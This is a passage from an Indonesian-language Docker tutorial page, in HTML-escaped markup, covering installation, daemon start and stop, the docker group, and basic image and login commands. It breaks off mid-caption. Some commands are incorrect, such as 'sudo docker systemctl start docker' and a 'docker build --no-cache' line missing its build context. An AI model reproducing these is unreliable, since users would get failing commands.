tinggi karena isolasi penuh&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Deployment&lt;/td&gt;&lt;td&gt;Mudah &amp;amp; cepat (CI/CD friendly)&lt;/td&gt;&lt;td&gt;Lebih kompleks&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Use case utama&lt;/td&gt;&lt;td&gt;Microservices, aplikasi cloud-native&lt;/td&gt;&lt;td&gt;Aplikasi legacy, isolasi penuh&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Contoh teknologi&lt;/td&gt;&lt;td&gt;Docker, Kubernetes&lt;/td&gt;&lt;td&gt;VMware, VirtualBox, Hyper-V&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;docker&lt;/code&gt; di beberapa sistem operasi Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y docker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy docker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install docker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install docker&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan docker sudah ter-install:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-v&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker version&quot; loading=&quot;lazy&quot; width=&quot;724&quot; height=&quot;355&quot; src=&quot;/_astro/ss25.VxCUn5Vj_ZQ4cNg.webp&quot; /&gt;&lt;figcaption&gt;docker version&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah tautan official Docker:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href=&quot;https://www.docker.com/&quot; target=&quot;_blank&quot;&gt;https://www.docker.com/&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Github:&lt;/strong&gt; &lt;a href=&quot;https://github.com/docker&quot; target=&quot;_blank&quot;&gt;https://github.com/docker&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Set Up&lt;a href=&quot;#set-up&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Starting &lt;code&gt;docker&lt;/code&gt;&lt;a href=&quot;#1-starting-docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk memulai Docker daemon, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikan Docker daemon berjalan otomatis setelah login:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Stopping &lt;code&gt;docker&lt;/code&gt;&lt;a href=&quot;#2-stopping-docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mematikan Docker daemon, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;stop&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker.socket&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk me-non-aktifkan Docker daemon dari berjalan otomatis setiap login:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disable&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker.socket&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Adding &lt;code&gt;docker&lt;/code&gt; group&lt;a href=&quot;#3-adding-docker-group&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Secara &lt;em&gt;default&lt;/em&gt;, Docker daemon berjalan sebagai &lt;code&gt;root&lt;/code&gt; user sehingga setiap kali &lt;em&gt;user&lt;/em&gt; non-root mengeksekusi perintah &lt;code&gt;docker&lt;/code&gt;, perintah &lt;code&gt;sudo&lt;/code&gt; diperlukan. Jika kita ingin agar perintah &lt;code&gt;docker&lt;/code&gt; dapat dieksekusi tanpa perlu &lt;code&gt;sudo&lt;/code&gt;, berikut caranya:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-9&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buat grup &lt;code&gt;docker&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;groupadd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Tambahkan &lt;em&gt;user&lt;/em&gt; kita ke grup &lt;code&gt;docker&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;usermod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-aG&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$USER&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Logout&lt;/em&gt; &amp;amp; &lt;em&gt;login&lt;/em&gt; kembali agar perubahan bisa teraktivasi.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Jika malas &lt;em&gt;logut&lt;/em&gt;, aktivasi perubahan tersebut dengan perintah:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;newgrp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Konfirmasi&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hello-world&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Essential Commands&lt;a href=&quot;#essential-commands&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah perintah-perintah penting untuk melakukan manajemen &lt;em&gt;container&lt;/em&gt; di Docker.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;docker search&lt;a href=&quot;#docker-search&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Mencari docker image dari &lt;a href=&quot;https://www.geeksforgeeks.org/devops/what-is-docker-registry/&quot; target=&quot;_blank&quot;&gt;Docker Registry&lt;/a&gt;, seperti &lt;a href=&quot;https://hub.docker.com/&quot; target=&quot;_blank&quot;&gt;DockerHub&lt;/a&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;search&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker search&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;544&quot; src=&quot;/_astro/ss2.H7gipyGM_1XaEpe.webp&quot; /&gt;&lt;figcaption&gt;docker search&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker pull&lt;a href=&quot;#docker-pull&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Mengambil (men-&lt;em&gt;download&lt;/em&gt;) docker image:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pull&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker pull&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;261&quot; src=&quot;/_astro/ss3.Dt3SGO72_2efDLi.webp&quot; /&gt;&lt;figcaption&gt;docker pull&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker images&lt;a href=&quot;#docker-images&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Melihat daftar docker image yang ada di komputer:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;images&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker images&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;252&quot; src=&quot;/_astro/ss7.BwprHqxQ_Z1DNv7s.webp&quot; /&gt;&lt;figcaption&gt;docker images&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker login&lt;a href=&quot;#docker-login&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Perintah ini selain akan me-&lt;em&gt;login&lt;/em&gt;-kan kita ke Docker.&lt;br /&gt;
Kredensial &lt;code&gt;docker&lt;/code&gt; disimpan di komputer lokal (&lt;code&gt;/home/$USER/.docker/config.json&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;Login ke docker:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;login&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-u&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;username&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Jika belum punya akun, maka kita perlu membuat akun (register) terlebih dahulu di website official Docker: &lt;a href=&quot;https://www.docker.com/&quot; target=&quot;_blank&quot;&gt;https://www.docker.com/&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker login&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;551&quot; src=&quot;/_astro/ss4.Boo7QxGt_2qCMe8.webp&quot; /&gt;&lt;figcaption&gt;docker login&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker logout&lt;a href=&quot;#docker-logout&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Perintah ini selain akan me-&lt;em&gt;logout&lt;/em&gt;-kan kita ke Docker.&lt;br /&gt;
Kredensial &lt;code&gt;docker&lt;/code&gt; dihapus di komputer lokal (&lt;code&gt;/home/$USER/.docker/config.json&lt;/code&gt;).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;logout&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker logout&quot; loading=&quot;lazy&quot; width=&quot;456&quot; height=&quot;338&quot; src=&quot;/_astro/ss5.DAt7wFEl_Z2pUht3.webp&quot; /&gt;&lt;figcaption&gt;docker logout&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;docker build&lt;a href=&quot;#docker-build&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Membuat docker image dari Dockerfile di &lt;em&gt;current directory&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Membuat docker image tanpa cache:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;build&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--no-cache&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-t&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;image_name&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Misalnya, saya ingin membuat sebuah docker image dari file &lt;code&gt;app.py&lt;/code&gt; berikut menggunakan Dockerfile:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker build&quot; loading=&quot;lazy&quot; width=&quot;406&quot; height=&quot;651&quot; src=&quot;/_astro/ss12.CSoSkGqE_Z22pm5o.webp&quot; /&gt;&lt;figcaption&gt;docker build&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tinggal jalankan perintah &lt;code&gt;docker build&lt;/code&gt; tanpa &lt;em&gt;cache&lt;/em&gt; tersebut, dia akan mengunduh dependensi yang diperlukan dan membuat docker image-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;docker build&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;652&quot; src=&quot;/_astro/ss13.BM4RMQwk_ZpfJ9S.webp&quot; /&gt;&lt;figcaption&gt;docker 